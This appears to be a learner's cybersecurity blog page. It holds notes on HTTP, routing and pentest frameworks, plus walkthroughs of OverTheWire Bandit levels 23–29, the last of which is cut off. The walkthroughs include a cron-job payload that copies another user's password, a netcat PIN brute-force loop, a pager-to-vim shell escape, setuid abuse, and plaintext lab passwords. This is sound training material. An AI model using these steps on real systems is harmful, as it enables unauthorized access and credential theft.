Skip to main content

67 posts tagged with "cybersecurity"

View All Tags

Understanding HTTP

Shubham
Cybersecurity Enthusiast

Note: These are notes from HTTP lecture/video by Sriniously : https://youtu.be/a3C1DMswClQ?si=VkYrm___9JAlL3n0

1. Core Principles of HTTP

HTTP (Hypertext Transfer Protocol) is an application-layer protocol (Layer 7 in the OSI model) used by clients and servers to communicate. It is built on two fundamental ideas:

  • Statelessness: The server retains no memory of past interactions. Every request is entirely self-contained and must include all the necessary information (like authentication tokens or cookies) for the server to process it.
    • Benefits: This simplifies server architecture and improves scalability, because a single server doesn't need to keep track of user sessions, and a server crash won't destroy a client's state.
  • Client-Server Model: Communication is always initiated by the client (e.g., a web browser) to request resources or actions, and the server waits for these requests to process and respond.

2. Transport Protocol & HTTP Versions

HTTP relies on a reliable, connection-based transport protocol, almost universally TCP (Transmission Control Protocol). Over the years, HTTP has evolved to improve how these TCP connections are handled:

  • HTTP 1.0: Opened a new TCP connection for every single request and response, which was highly inefficient and slow.
  • HTTP 1.1: Introduced persistent connections (keep-alive) as the default, allowing multiple requests to be sent over a single reused connection.
  • HTTP 2.0: Introduced multiplexing (multiple requests/responses concurrently on one connection), binary framing, header compression, and server push.
  • HTTP 3.0: Replaced TCP with QUIC (built over UDP) to establish faster connections and handle packet loss better, eliminating head-of-line blocking.

3. Anatomy of HTTP Messages

Client-server communication happens via structured text messages.

  • Request Message (Client to Server): Contains a Request Method (e.g., GET/POST), the Resource URL, the HTTP version, Host domain, Headers, a blank line, and an optional Request Body.
  • Response Message (Server to Client): Contains the HTTP version, a Status Code (e.g., 200), a Status Value (e.g., OK), Headers, a blank line, and the Response Body.

4. HTTP Headers

Headers are key-value pairs that act as metadata for the package being transmitted, allowing the system to be highly extensible and act as a "remote control" to dictate server behavior.

  • Request Headers: Sent by the client to provide context (e.g., User-Agent identifies the browser, Authorization sends credentials).
  • General Headers: Apply to both requests and responses (e.g., Date, Connection, Cache-Control).
  • Representation Headers: Describe the message body (e.g., Content-Type for media format like JSON/HTML, Content-Length for byte size, Content-Encoding for gzip compression).
  • Security Headers: Protect against attacks (e.g., Strict-Transport-Security forces HTTPS, Content-Security-Policy prevents cross-site scripting, Set-Cookie with HTTP-only flags).

5. HTTP Methods and Idempotency

Methods define the semantic intent of the client's request.

  • GET: Fetches data from the server without modifying anything.
  • POST: Submits new data to the server (includes a request body).
  • PATCH: Partially updates an existing resource.
  • PUT: Completely replaces an existing resource with the provided body.
  • DELETE: Removes a resource.
  • OPTIONS: Inquires about the server's capabilities (used heavily in CORS).

Idempotency is a crucial concept here:

  • Idempotent Methods: Can be executed multiple times and yield the exact same result on the server state (e.g., GET, PUT, DELETE).
  • Non-Idempotent Methods: Running them multiple times creates different results (e.g., submitting a POST request twice creates two separate resources).

6. Cross-Origin Resource Sharing (CORS)

Browsers enforce a Same-Origin Policy, blocking web apps from making requests to different domains (origins). CORS is a security mechanism to bypass this safely.

  • Simple Requests: (Usually GET or POST with standard headers/content types). The browser automatically adds an Origin header. If the server allows the request, it replies with the Access-Control-Allow-Origin header containing the client's domain (or a * wildcard). If missing, the browser blocks the response.
  • Pre-flight Requests: Triggered if a request uses a non-simple method (PUT/DELETE), requires authorization headers, or uses a application/json content type.
    • The browser first fires an OPTIONS request asking the server if the route supports the intended method and headers.
    • The server replies with a 204 No Content status, explicitly listing allowed origins, methods, headers, and a max-age to cache this configuration.
    • If successful, the browser then sends the actual, original request.

7. Standardized Status Codes

Status codes are three-digit numbers that act as a universal language to indicate the outcome of a request.

  • 1xx (Informational): Indicates headers received; client can proceed (e.g., 100 Continue for large uploads).
  • 2xx (Success):
    • 200 OK: Successful operation.
    • 201 Created: Usually follows a POST request.
    • 204 No Content: Successful, but no body to return (used in OPTIONS or DELETE).
  • 3xx (Redirection):
    • 301 Moved Permanently: The resource has a new URL.
    • 302 Found/Temporary Redirect: Temporarily forward to a new route.
    • 304 Not Modified: Tells the client to use its locally cached version.
  • 4xx (Client Errors):
    • 400 Bad Request: Invalid data format sent by client.
    • 401 Unauthorized: Missing or invalid authentication token.
    • 403 Forbidden: Authenticated, but lacks necessary permissions.
    • 404 Not Found: Incorrect URL or deleted resource.
    • 405 Method Not Allowed: Using the wrong method for a route.
    • 409 Conflict: Business logic violation (e.g., duplicate username).
    • 429 Too Many Requests: Client has hit rate limits.
  • 5xx (Server Errors):
    • 500 Internal Server Error: An unhandled exception crashed the server.
    • 501 Not Implemented: Feature not yet supported.
    • 502 Bad Gateway / 504 Gateway Timeout: Issues originating from proxies or load balancers failing to reach upstream servers.
    • 503 Service Unavailable: Server down or under maintenance.

8. HTTP Caching

Caching reuses previously downloaded responses to save bandwidth and load times.

  • When a client first fetches a resource, the server responds with the payload alongside three headers: Cache-Control (sets max duration), ETag (a unique hash of the payload), and Last-Modified.
  • On subsequent requests, the client sends conditional headers: If-None-Match (carrying the ETag) or If-Modified-Since.
  • If the data on the server hasn't changed, the server saves bandwidth by sending an empty 304 Not Modified response, instructing the browser to use its cached copy. If it has changed, it sends a 200 OK with the new data and a new ETag.

9. Content Negotiation and Compression

Clients and servers can negotiate the best format to exchange data.

  • The client sends preferences via Accept (e.g., application/json vs application/xml), Accept-Language (e.g., en vs es), and Accept-Encoding (e.g., gzip).
  • The server responds with the appropriate format.
  • Compression: By negotiating an encoding like gzip, a server can drastically compress text responses (e.g., shrinking a 26MB JSON payload down to 3.8MB) to save massive amounts of network bandwidth.

10. Handling Large Data Transfers

  • Large Client Uploads (Images/Video): Standard JSON is terrible for binary data. Instead, clients use a multipart/form-data request. This breaks the file into chunks separated by a unique string delimiter defined in the boundary header.
  • Large Server Downloads: To prevent timing out, the server streams the file in chunks using Content-Type: text/event-stream and Connection: keep-alive. The browser continually appends these chunks until the transfer finishes.

11. Security (SSL/TLS & HTTPS)

  • TLS (Transport Layer Security): The modern, secure replacement for the outdated SSL protocol.
  • It encrypts data in transit to prevent interception (eavesdropping) or tampering, utilizing certificates to verify the server's identity.
  • HTTPS: Simply the standard HTTP protocol wrapped inside a secure TLS connection.

Routing

Shubham
Cybersecurity Enthusiast

Note: These are notes from Routing lecture/video by Sriniously : https://youtu.be/SubuU1iOC2s?si=Rq3nCiC4bbwIVXsI

1. What is Routing?

  • The "What" vs. The "Where": In a backend system, HTTP methods (like GET, POST, DELETE) express the what or the intent of a request (e.g., fetching or adding data). Routing expresses the where—the specific resource or destination you want to apply that action to.
  • Definition: Routing is the process of mapping a combination of an HTTP method and a URL path to a specific server-side Handler (a set of instructions or business logic).
  • Uniqueness: The server concatenates the HTTP method and the route to form a unique key. For example, a GET request to /api/books and a POST request to /api/books will trigger completely different logic in the server without clashing.

2. Types of Routes

There are two primary ways to structure a route path:

  • Static Routes: These are constant strings that do not contain any variable parameters. For example, /api/books will always stay consistent and point to the same general resource.
  • Dynamic Routes: These include variable slots within the URL that the server can extract as data. In most backend frameworks (like Node.js, Python, or Go), these are denoted by a colon, such as /api/users/:id. If a client requests /api/users/123, the server extracts "123" as the ID to fetch that specific user's data.

3. Path Parameters vs. Query Parameters

When sending data through a URL, backend engineers use two distinct types of parameters:

  • Path Parameters (Route Parameters): These are the variables placed directly inside the route's path, right after a forward slash / (e.g., the 123 in /api/users/123). They are used to express semantic meaning, specifically identifying a unique resource.
  • Query Parameters: Because GET requests do not have a data body, query parameters are used to send key-value pairs of metadata to the server.
    • Syntax: They are attached to the end of the route after a question mark ? (e.g., /api/search?query=some+value).
    • Use Cases: They are heavily used for pagination (e.g., page=2&limit=20), filtering user-defined values, or determining sorting orders (ascending/descending).

4. Nested Routing

Nested routing is a standard REST API practice used to express a hierarchy between different resources.

  • Semantic Hierarchy: By nesting paths, you create a highly readable, semantic expression of what data you want.
  • Example Workflow:
    • /api/users: Fetches a list of all users.
    • /api/users/123: Goes one level deep to fetch a specific user.
    • /api/users/123/posts: Goes another level deep to fetch all posts created by user 123.
    • /api/users/123/posts/456: Fetches one highly specific post (ID 456) belonging to that specific user.

5. Route Versioning and Deprecation

As applications grow, business requirements change, which might require you to completely alter the format of the data your API returns (e.g., switching the key name to title).

  • The Problem: If you change the response format on a live route, you will break the frontend application (like an iOS or React app) currently relying on it.
  • The Solution (Versioning): Engineers add version numbers to routes, such as /api/v1/products and /api/v2/products.
  • Deprecation: This allows the server to simultaneously support both the old and new data structures. It provides frontend engineers a safe window of time to migrate their code to v2 before the backend team officially deprecates and removes v1.

6. Catch-All Routes

  • Purpose: A catch-all route acts as a safety net for invalid requests.
  • How it Works: It is placed at the very end of the server's routing logic, often using a wildcard syntax like /*. If a request trickles down through all the previous route matching algorithms without finding a match, it hits the catch-all.
  • Benefit: Instead of the server defaulting to a broken or null response, the catch-all handler cleanly returns a user-friendly "Route Not Found" (404) message to the client.

Penetration Testing Frameworks

Shubham
Cybersecurity Enthusiast

When you're doing a pentest, you can't just randomly poke at things and hope something breaks. You need a structured approach — something that tells you what to test, in what order, and how to prove you tested it. That's what frameworks are. They're not rules you follow blindly; they're maps that prevent you from missing entire attack surfaces.

There are several frameworks in active use, each born from a different philosophy. Some are academic, some are government-issued, some are built by practitioners who were tired of inconsistent engagements. Knowing which one to reach for — and why — is what separates a methodical tester from someone just running tools.


OSSTMM

The Open Source Security Testing Methodology Manual. This one comes from ISECOM and it's the most scientific of the bunch — it treats security testing like a measurable discipline rather than an art.

The core idea is RAV — Risk Assessment Value. Instead of just saying "this is vulnerable," OSSTMM gives you a numerical score based on attack surface, controls in place, and actual exposure. It covers not just technical systems but also physical security, human factors, and telecommunications.

In practice: OSSTMM is thorough to the point of being heavy. It's more suited for formal audits than a quick web app pentest. The value is in its completeness — it forces you to think about attack surfaces you'd otherwise skip.

Key channels it covers: Human, Physical, Wireless, Telecommunications, Data Networks.


OWASP WSTG

The OWASP Web Security Testing Guide. This is the one you'll actually use day-to-day if you're doing web app pentesting or bug bounty.

OWASP WSTG is organized around test cases — each one maps to a specific vulnerability class, has a defined objective, a testing procedure, and expected results. It covers everything from information gathering and authentication testing to business logic flaws and client-side attacks.

The structure:

  • OTG-INFO — Recon and fingerprinting
  • OTG-AUTHN — Authentication mechanisms
  • OTG-AUTHZ — Authorization and access control
  • OTG-INPVAL — Input validation (SQLi, XSS, XXE, etc.)
  • OTG-SESS — Session management
  • OTG-CRYPST — Cryptography
  • OTG-BUSLOGIC — Business logic flaws
  • OTG-CLIENT — Client-side attacks

This is the framework you open mid-engagement, not beforehand. You're testing auth bypass? Open the AUTHN section. It's a reference, not a book to read cover to cover.


NIST SP 800-115

Published by the National Institute of Standards and Technology. This is the U.S. government's take on how security testing should be done — formal, phase-based, and compliance-oriented.

It defines four phases:

  1. Planning — Scope, rules of engagement, objectives
  2. Discovery — Identifying systems, services, vulnerabilities
  3. Attack — Exploitation and validation
  4. Reporting — Documenting findings and remediation

NIST 800-115 is less about how to hack and more about how to run an engagement properly. It's what you reference when a client asks "what methodology do you follow?" and the answer needs to satisfy a compliance requirement. The technical depth is shallow compared to OWASP or PTES, but the process rigor is high.


PTES

The Penetration Testing Execution Standard. This one was built by practitioners — people who were actually doing engagements and needed a standard that reflected reality.

PTES has seven phases:

  1. Pre-engagement Interactions — Scope, contracts, legal clearance
  2. Intelligence Gathering — OSINT, recon, target profiling
  3. Threat Modeling — What's actually worth attacking given the target's business
  4. Vulnerability Analysis — Identifying weaknesses
  5. Exploitation — Actually getting in
  6. Post-Exploitation — Persistence, lateral movement, data exfil simulation
  7. Reporting — Findings, evidence, remediation advice

What makes PTES useful is that it mirrors how real engagements work. The threat modeling phase in particular is underrated — it forces you to think from an attacker's business perspective, not just a technical one. You're asking: what does this organization actually care about protecting, and what's the realistic path to compromising it?


ISSAF

Information Systems Security Assessment Framework. Older, nine-phase methodology that was influential in formalizing how assessments are structured.

The phases: Planning → Assessment → Treatment → Accreditation → Monitoring → Detection → Response → Recovery → Review.

ISSAF goes beyond just "find vulnerabilities" — it extends into incident response, recovery, and ongoing monitoring. It's more of a full security program framework than a pure pentest methodology. In modern practice it's largely been superseded by PTES and NIST, but it's worth knowing it exists, especially in enterprise contexts where the client wants to see a comprehensive lifecycle, not just an attack simulation.


MITRE ATT&CK

This is different from the others — it's not a testing methodology, it's a knowledge base of adversary behavior. ATT&CK catalogs real-world TTPs (Tactics, Techniques, and Procedures) observed from actual threat actors.

The structure:

  • Tactics — The why (what the attacker is trying to achieve): Reconnaissance, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command and Control, Impact
  • Techniques — The how (specific methods to achieve the tactic)
  • Sub-techniques — Granular variants of techniques
  • Procedures — How specific threat groups implement a technique

Where ATT&CK shines is in mapping your findings to real attacker behavior. Instead of just saying "we got RCE via SQLi," you can say "Initial Access via T1190 (Exploit Public-Facing Application), Execution via T1059.004 (Unix Shell)." This is meaningful to blue teams because it tells them what to detect, not just what was broken.

For bug bounty writeups and CTF reports, ATT&CK mapping adds immediate credibility. For red team engagements, it's how you demonstrate that your simulation reflects realistic threat actor behavior.


Other Notable Frameworks

A few worth knowing without going deep:

WASC Threat Classification — Web Application Security Consortium's taxonomy of web threats. Predates OWASP WSTG, less granular, occasionally referenced in older reports.

CSA Cloud Controls Matrix — Cloud-specific. Maps security controls across cloud service models (IaaS, PaaS, SaaS). Useful when the engagement scope includes cloud infrastructure.

OWASP MASTG — Mobile Application Security Testing Guide. Same philosophy as WSTG but for Android and iOS. Covers platform-specific attack surfaces like insecure storage, improper platform usage, and reverse engineering of mobile binaries.

PCI DSS Penetration Testing Guidelines — Compliance-driven. If the target handles payment card data, PCI DSS mandates specific testing requirements. You don't choose this one — the compliance requirement chooses it for you.

CBEST Framework — UK financial sector specific. Intelligence-led penetration testing for critical financial infrastructure. Threat-intelligence driven — you model real threat actors likely to target the specific institution before testing begins.


Choosing the Right Framework

The honest answer: you almost never use just one, and you almost never follow any of them completely.

A practical mapping:

ScenarioPrimary FrameworkSupplement With
Web app bug bountyOWASP WSTGMITRE ATT&CK for reporting
Corporate network pentestPTESNIST 800-115 for process rigor
Compliance auditNIST 800-115 or PCI DSSOSSTMM if they want RAV scoring
Mobile app assessmentOWASP MASTGWSTG for any web backend
Red team engagementPTES + MITRE ATT&CKThreat-intel to model adversary
Cloud environmentCSA CCMPTES for execution

The real skill isn't memorizing frameworks — it's knowing which parts of which framework apply to your current target, and using them as a checklist to make sure you haven't missed an entire attack category. The moment you're mid-engagement and you realize you haven't tested auth token expiry or checked for IDOR on a numeric ID endpoint — that's OWASP WSTG's job to catch.

Frameworks are a forcing function against tunnel vision.

Bandit Level 23 → 24

Shubham
Cybersecurity Enthusiast

Login: ssh bandit23@bandit.labs.overthewire.org -p 2220
Password: 0Zf11ioIjMVN551jX3CmStKLYqjk54Ga

task

A program is running automatically at regular intervals from cron. Look in /etc/cron.d/ for the configuration and see what command is being executed.

theory lil bit

  1. Cronjobs running as other users: The script is scheduled in /etc/cron.d to run as the bandit24 user. This means any commands executed by the script run with bandit24's privileges.
  2. File Ownership (stat -c "%U"): The cron script checks the owner of the files in a specific directory. It specifically looks for files owned by bandit23 to execute.
  3. Payload Execution: If the script finds a file owned by bandit23, it executes it. By writing a simple bash script that copies the password to a world-writable directory, we can trick bandit24 into doing the heavy lifting for us.
  4. Permissions (chmod 777): Since the script runs as bandit24, it needs permission to write the output file into our bandit23 temporary directory. Setting the directory permissions to 777 ensures this works.

solution

# 1. Check the cron configuration for bandit24
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

# 2. Analyze the script logic
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
shopt -s nullglob

myname=$(whoami)

cd /var/spool/"$myname"/foo || exit
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." ] && [ "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" "./$i")"
if [ "${owner}" = "bandit23" ] && [ -f "$i" ]; then
timeout -s 9 60 "./$i"
fi
rm -rf "./$i"
fi
done
# The script goes to /var/spool/bandit24/foo
# If it finds a file owned by bandit23, it executes it, then deletes it.

# 3. Create a temporary directory to work in
bandit23@bandit:/etc/cron.d$ mktemp -d
/tmp/tmp.RXCBGeylmO
bandit23@bandit:/etc/cron.d$ cd /tmp/tmp.RXCBGeylmO

# 4. Give read/write/execute permissions to everyone on the temp directory
# This allows bandit24 to write the password file here
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ chmod 777 .

# 5. Create the payload script to steal the password
# (Using nano or echo to write the script)
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ echo '#!/bin/bash' > bandit24.sh
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ echo 'cat /etc/bandit_pass/bandit24 > /tmp/tmp.RXCBGeylmO/password.txt' >> bandit24.sh

# 6. Make the script executable
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ chmod +rwx bandit24.sh

# 7. Copy the payload script into the target directory where the cronjob looks
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ cp bandit24.sh /var/spool/bandit24/foo/myscript.sh

# 8. Wait a minute for the cronjob to run, then check for the new password file
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ ls -la
total 180
drwxrwxrwx 2 bandit23 bandit23 4096 Apr 11 20:45 .
drwxrwx-wt 4284 root root 167936 Apr 11 20:45 ..
-rwxrwxr-x 1 bandit23 bandit23 77 Apr 11 20:43 bandit24.sh
-rw-rw-r-- 1 bandit24 bandit24 33 Apr 11 20:45 password.txt

# 9. Read the target password
bandit23@bandit:/tmp/tmp.RXCBGeylmO$ cat password.txt
gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8

`

Bandit Level 24 → 25

Shubham
Cybersecurity Enthusiast

Login: ssh bandit24@bandit.labs.overthewire.org -p 2220
Password: gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8

task

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

theory lil bit

  1. Process Enumeration: Using ps aux | grep helps identify background services or processes running under specific user accounts.
  2. Port Scanning: nmap is used to verify if a specific port on localhost is actually open and listening.
  3. Manual Interaction: Before writing a script, it's crucial to connect to the service manually (using nc) to understand exactly what input format the program expects and what output it gives.
  4. Brute-Forcing with Loops: A bash for loop combined with brace expansion {0000..9999} is the fastest way to generate all possible 4-digit PINs. Piping (|) this massive output directly into nc automates the attack.

my approach / solution

1. Reconnaissance: First, I wanted to see if there were any obvious processes running for bandit25.

bandit24@bandit:~$ ps aux | grep bandit25

I also poked around /var/run to see if there were any interesting socket or PID files, but didn't find anything immediately useful for this challenge.

2. Verifying the Port: I knew from the prompt that a service was on port 30002. After a quick typo with an nmap flag, I scanned the port locally to confirm it was up and listening as pago-services2.

bandit24@bandit:~$ nmap localhost -p 30002
Starting Nmap 7.94SVN ...
PORT STATE SERVICE
30002/tcp open pago-services2

3. Manual Testing: Before writing any scripts, I connected manually to see what the daemon actually wanted. First, I just piped the password, but it failed. Then, I connected interactively and typed a few random guesses (0 0 0 0, 0 0 0 1) to see how it handled bad inputs.

bandit24@bandit:~$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. 0 0 0 0 Wrong! Please enter the correct current password and pincode. Try again.

4. The Brute-Force Attack: Once I understood the format (<password> <pin>), I wrote a one-liner bash for loop to generate all numbers from 0000 to 9999. I echoed the password alongside the generated PIN and piped the entire 10,000-line stream directly into the netcat connection.

bandit24@bandit:~$ for i in {0000..9999}; do echo "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 $i"; done | nc localhost 30002

5. Catching the Flag: The script fired off thousands of attempts in seconds. The terminal flooded with "Wrong!" messages until it finally hit the correct PIN, breaking the loop with the success message:

Wrong! Please enter the correct current password and pincode. Try again. Correct! The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4

`

Bandit Level 25 → 26

Shubham
Cybersecurity Enthusiast

Login: ssh bandit25@bandit.labs.overthewire.org -p 2220
Password: iCi86ttT4KSNe1armKiwbQNmB3YJP3q4

task

Logging in to bandit26 from bandit25 should be quite easy. The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works, and how to break out of it.

theory lil bit

  1. SSH Key Permissions: SSH is very strict about security. If a private key file (.sshkey) is readable by other users, SSH will reject it to prevent abuse. You must set permissions to 700 or 600.
  2. Custom Login Shells: The /etc/passwd file defines what program runs when a user logs in. It doesn't have to be a standard shell like /bin/bash; it can be any executable script. If that script exits, your SSH session ends.
  3. Escaping Pagers (more): When a program like more (a pager) outputs text that is larger than your terminal window, it pauses. While paused, you can use built-in commands. Pressing v tells more to open the current file in the vim text editor.
  4. Vim Shell Escaping: vim has the ability to run system commands or spawn a new shell. By changing vim's internal shell setting (:set shell=/bin/bash) and then calling it (:shell), you can break out of a restricted environment and get a fully functional terminal.

my approach / solution

1. Finding and Fixing the SSH Key: I logged in and found bandit26.sshkey right in the home directory. I tried to use it to SSH into bandit26, but SSH yelled at me about bad permissions:

WARNING: UNPROTECTED PRIVATE KEY FILE! Permissions 0755 for 'bandit26.sshkey' are too open.

I fixed this by restricting the permissions so only my user could read it: bandit25@bandit:~$ chmod 700 bandit26.sshkey

2. The Disappearing Shell Problem: When I tried to SSH after fixing the key, the server displayed an OverTheWire banner and then immediately kicked me out. I needed to figure out what was happening upon login.

I checked the /etc/passwd file for bandit26 to see what shell it was using: bandit25@bandit:~$ cat /etc/passwd | grep bandit26 bandit2611026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

Instead of /bin/bash, it was running a custom script called /usr/bin/showtext. I checked the contents of that script: bandit25@bandit:~$ cat /usr/bin/showtext #!/bin/sh export TERM=linux exec more ~/text.txt exit 0

3. Breaking out of more: The script simply runs more on a text file and then exits. If I could interact with more before it finished printing the file, I could escape it. I reduced my terminal window size (so the text wouldn't fit on one screen) forcing more to pause.

I logged in via SSH again, but this time i resized my terminal to a very small size... the screen paused at the bottom ... instead of hitting space to scroll .. i pressed the v key on my keyboard. This is a built-in shortcut that opens the current text block in the vim editor.

4. Spawning a bash shell from Vim: Once inside Vim, I had the ability to run commands. I pressed : to enter command mode and changed Vim's default shell to bash: :set shell=/bin/bash

Then, I pressed : again and told vim to spawn that shell: :shell and yeah ....i was dropped into a normal bash terminal as the user bandit26.

5. Catching the Flag: Now that I had a fully interactive shell, I simply read the password file for bandit26: bandit26@bandit:~$ cat /etc/bandit_pass/bandit26 s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ

`

Bandit Level 26 → 27

Shubham
Cybersecurity Enthusiast

Login: ssh bandit26@bandit.labs.overthewire.org -p 2220
Password: s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ

task

Good job getting a shell! Now, there is a setuid binary in the homedirectory that does things for the next user. Find out how to use it to get the password.

theory lil bit

  1. SUID (Set User ID): Sometimes executables are configured to run with the permissions of the user who owns the file, rather than the user who runs the file. This script is owned by bandit27 and has the SUID bit set, meaning any command we pass into it will be executed with bandit27's privileges.

my approach / solution

1. Inspect the home directory: Right after breaking out of the Vim shell from the previous level, I checked what was sitting in the home directory.

bandit26@bandit:~$ ls bandit27-do text.txt

2. Figure out the binary: I ran the bandit27-do executable without any arguments to see if it had a help menu or expected syntax. It clearly stated it runs commands as another user.

bandit26@bandit:~$ ./bandit27-do Run a command as another user. Example: ./bandit27-do id

3. Test the execution: I ran the example command to verify it was working as intended. The output showed my effective user ID (euid) successfully shifted to bandit27.

bandit26@bandit:~$ ./bandit27-do id uid=11026(bandit26) gid=11026(bandit26) euid=11027(bandit27) groups=11026(bandit26)

4. Capture the password: Since I now had a direct way to execute commands as bandit27, I used the binary to read the protected password file for the next level.

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27 upsNCc7vzaRDx6oZC6GiR6ERwe1MowGB

`

Bandit Level 27 → 28

Shubham
Cybersecurity Enthusiast

Login: ssh bandit27@bandit.labs.overthewire.org -p 2220
Password: Ups6nC7Sc695jSGEB7L9J9J6AFRowFuJ

task

A git repository is at ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo. The password for the user bandit27-git is the same as the password for the user bandit27. Clone the repository and find the password for the next level.

theory lil bit

  1. Git Clone: The git clone command is used to create a copy of a specific repository from a remote server onto your local machine.
  2. SSH Protocol: Git can use SSH for data transfer. The URL specifies the user, the host, the port (2220), and the path to the repository.
  3. Repository Exploration: After cloning, you enter the directory to find the files that were tracked by the repository.
  4. Authentication: Since the git user bandit27-git shares the password with the shell user bandit27, you simply reuse the current level's password when prompted.

solution

# Create a temporary directory to work in
┌──(sssubhammm ⌘ macbook-air)-[~]
└─$ mkdir /tmp/my_git_repo && cd /tmp/my_git_repo

# Clone the remote repository using the provided SSH URL
# Use the bandit27 password when prompted
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo]
└─$ git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo
Cloning into 'repo'...
bandit27-git@bandit.labs.overthewire.org's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Navigate into the cloned directory and check the contents
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo/repo]
└─$ ls
README

# Read the README file to retrieve the password
┌──(sssubhammm ⌘ macbook-air)-[/tmp/my_git_repo/repo]
└─$ cat README
The password to the next level is: Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN

`

Bandit Level 28 → 29

Shubham
Cybersecurity Enthusiast

Login: ssh bandit28@bandit.labs.overthewire.org -p 2220
Password: Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN

task

There is a git repository at ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo. The password for the user bandit28-git is the same as the password for the user bandit28. Clone the repository and find the password for the next level.

theory lil bit

  1. Git History: Git stores a snapshot of every change made to a file. Even if sensitive data is overwritten or deleted in the latest version, it remains accessible in the project's history.
  2. Git Log: The git log command displays a list of all commits made to the repository, showing the commit hash, author, and descriptions like "fix info leak."
  3. Git Show: This command is used to view the specific changes (diff) introduced in a particular commit. It highlights what was added (+) and what was removed (-).
  4. Data Sanitization: This level highlights the danger of committing secrets. Simply "fixing" an info leak with a new commit doesn't remove the secret from the underlying .git directory.

solution

# Clone the repository into your workspace
┌──(sssubhammm ⌘ macbook-air)-[~/repo]
└─$ git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo
Cloning into 'repo'...
bandit28-git@bandit.labs.overthewire.org's password:

# Navigate to the repository and check the current file
┌──(sssubhammm ⌘ macbook-air)-[~/repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ cat README.md
# Bandit Notes
...
- password: xxxxxxxxxx

# Inspect the commit history to find where the "info leak" occurred
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git log
commit 00daa614aac60bd2981c381484191eb7bc4dcfd9 (HEAD -> master)
Author: Morla Porla <morla@overthewire.org>
fix info leak

commit a1487fd098591dfa210ede70ba60f7093f47d20d
add missing data

# View the changes in the 'fix info leak' commit to see the original password
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git show 00daa614aac60bd2981c381484191eb7bc4dcfd9
...
- password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7
+ password: xxxxxxxxxx

`

Bandit Level 29 → 30

Shubham
Cybersecurity Enthusiast

Login: ssh bandit29@bandit.labs.overthewire.org -p 2220
Password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7

task

There is a git repository at ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo. The password for the user bandit29-git is the same as the password for the user bandit29. Clone the repository and find the password for the next level.

theory lil bit

  1. Git Branches: Repositories often have multiple branches (e.g., master, dev, staging). The default branch might not contain the sensitive data you are looking for.
  2. Remote Branches: Use git branch -a to see all branches, including those that exist on the remote server but haven't been checked out locally yet.
  3. Switching Context: The git checkout [branch_name] command allows you to switch between these different versions of the project's codebase.
  4. Information Siloing: Developers often keep "production" branches clean while leaving credentials or debugging code in "development" or "test" branches.

solution

# Clone the repository
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo
Cloning into 'repo'...
bandit29-git@bandit.labs.overthewire.org's password:

# Navigate and check the default README (password is redacted)
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo]
└─$ cd repo
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ cat README.md
- password: <no passwords in production!>

# Check all available branches (local and remote)
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev

# Switch to the 'dev' branch to see if it contains different data
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ git checkout dev
branch 'dev' set up to track 'origin/dev'.
Switched to a new branch 'dev'

# Check the README.md in the 'dev' branch
┌──(sssubhammm ⌘ macbook-air)-[~/repo/repo/repo]
└─$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
